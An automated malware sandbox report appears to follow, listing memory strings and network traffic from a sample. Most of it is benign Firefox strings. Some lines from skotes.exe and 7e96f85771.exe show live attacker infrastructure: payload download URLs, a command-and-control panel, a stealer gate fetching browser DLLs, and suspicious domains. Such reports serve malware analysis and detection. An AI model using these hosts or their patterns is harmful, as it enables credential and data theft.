Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3137866600.0000028826C8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3137866600.0000028826C8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3137866600.0000028826C8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CC3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3180311343.000012316BF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/firefox-Z equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/messaging_helper.jsYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.src=image,triggeringprincipal=iconloadingprincipal,requestcontextid,fadein,pinned,selected=visuallyselected,busy,crashed,sharing,pictureinpicture[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]AND (bookmarked OR frecency > 20) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/messaging_helper.jsYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.src=image,triggeringprincipal=iconloadingprincipal,requestcontextid,fadein,pinned,selected=visuallyselected,busy,crashed,sharing,pictureinpicture[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]AND (bookmarked OR frecency > 20) equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3091500089.000002881F873000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/messaging_helper.jsYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/True if the "Variant 2" of the Migration Wizard browser / profile selection UI should be used. This is only meaningful in the new Migration Wizard.src=image,triggeringprincipal=iconloadingprincipal,requestcontextid,fadein,pinned,selected=visuallyselected,busy,crashed,sharing,pictureinpicture[{incognito:null, tabId:null, types:["main_frame"], urls:["://login.microsoftonline.com/", "://login.microsoftonline.us/"], windowId:null}, ["blocking"]]AND (bookmarked OR frecency > 20) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3119588541.00000288245AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E029000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180311343.000012316BF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3180311343.000012316BF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3173331545.000002882DFCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180311343.000012316BF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3180311343.000012316BF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comZ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3119588541.00000288245AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3119588541.00000288245B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 06:38:19 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I8BkeUmI4wv2AGvELftXSdrNKPSbHm%2BtVsOhYW3CUjhjFQUnEmL7Q0tWfhlLlCmOQgbluYbzk6aqeN3nhn525pZbelA3UATd2n1LFe%2BZ8z9qWw8y%2B%2BZGFOEmIeP%2BGXd66Pt7Vw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d77f69c2fdf6b8f-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 06:39:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rc%2FbBRrnQEwcednxMK08qa6zRrjCo535lOaNozE4xQcnbVDMGLyCisVJRvyTiaDIl9E9Bkgd0UFNlOHYNBgYLspPUUAU3HbJd1YGSBJ%2Bnbxa8cf3oOYrrRiHcXL0yreemQN5ag%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d77f7d5df39e77d-DFW

Source: firefox.exe, 00000017.00000002.3109502622.0000028823575000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3126440245.0000028825CA2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089829933.000002881F2C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3141504979.000002882B07B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3085847545.000002881366D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3042947416.000002882E2FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: f84005b97f.exe, 00000009.00000003.2945007725.0000000000F39000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000003.2945007725.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, f84005b97f.exe, 00000009.00000002.2949821023.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: skotes.exe, 00000006.00000002.3323108552.0000000000930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000006.00000002.3323108552.0000000000930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exehp
Source: skotes.exe, 00000006.00000002.3323108552.0000000000930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exep
Source: skotes.exe, 00000006.00000002.3323108552.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000006.00000002.3323108552.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe4#
Source: skotes.exe, 00000006.00000002.3323108552.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe
Source: skotes.exe, 00000006.00000002.3323108552.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: 7e96f85771.exe, 00000008.00000002.3168952289.000000000140E000.00000004.00000020.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3164480115.00000000009DB000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.37
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001453000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001453000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllNe
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll9
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dllA
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001468000.00000004.00000020.00020000.00000000.sdmp, 7e96f85771.exe, 00000008.00000002.3164480115.00000000009DB000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php?)$P
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpF2
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpG(
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php_2
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpc)xP
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpinomi
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpla
Source: 7e96f85771.exe, 00000008.00000002.3164480115.00000000009DB000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phption:
Source: 7e96f85771.exe, 00000008.00000002.3168952289.0000000001482000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: 7e96f85771.exe, 00000008.00000002.3164480115.00000000009DB000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: skotes.exe, 00000006.00000002.3323108552.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000006.00000002.3323108552.0000000000997000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3323108552.0000000000930000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3323108552.0000000000982000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php.
Source: skotes.exe, 00000006.00000002.3323108552.0000000000982000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/
Source: skotes.exe, 00000006.00000002.3323108552.000000000094A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php4001
Source: skotes.exe, 00000006.00000002.3323108552.0000000000982000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded
Source: skotes.exe, 00000006.00000002.3323108552.0000000000982000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000006.00000002.3323108552.0000000000982000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded5
Source: skotes.exe, 00000006.00000002.3323108552.000000000094A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000006.00000002.3323108552.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/c00b58987e8fff7a7df309c5441f056fc49001
Source: skotes.exe, 00000006.00000002.3323108552.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#01
Source: skotes.exe, 00000006.00000002.3323108552.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ferences.SourceAumid1
Source: skotes.exe, 00000006.00000002.3323108552.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/lfons
Source: skotes.exe, 00000006.00000002.3323108552.000000000095B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ons
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAC2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825165000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: firefox.exe, 00000017.00000003.3057540470.00000288244F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000017.00000002.3163888580.000002882BAB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000017.00000002.3113740588.0000028823DEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3053217524.000002882601C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3134981536.0000028826091000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3137866600.0000028826C8C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089829933.000002881F2C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3053217524.0000028826091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_CONNECTION_CREATEDLOAD_MEDIA_SNIFFER_
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3127499591.0000028825DC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089829933.000002881F2C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3117080621.0000028824319000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000017.00000002.3143683785.000002882B2A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089180136.000002881EFEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3089829933.000002881F2C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3143683785.000002882B235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000017.00000002.3127499591.0000028825D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.comP
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000017.00000002.3093750856.0000028820AF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 00000017.00000002.3088293494.000002881EE26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000017.00000002.3088293494.000002881EE58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000017.00000002.3088293494.000002881EE26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000017.00000002.3088293494.000002881EE58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000017.00000002.3088293494.000002881EE26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000017.00000003.3055688840.000002882E03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E036000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000017.00000003.3055688840.000002882E03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E036000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000017.00000003.3055688840.000002882E03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E036000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000017.00000002.3166611995.000002882D0D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3055688840.000002882E03C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3182405110.000037AF92204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3175463259.000002882E036000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3123219764.0000028825176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 00000017.00000002.3123219764.000002882516E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 00000017.00000002.3123219764.0000028825119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
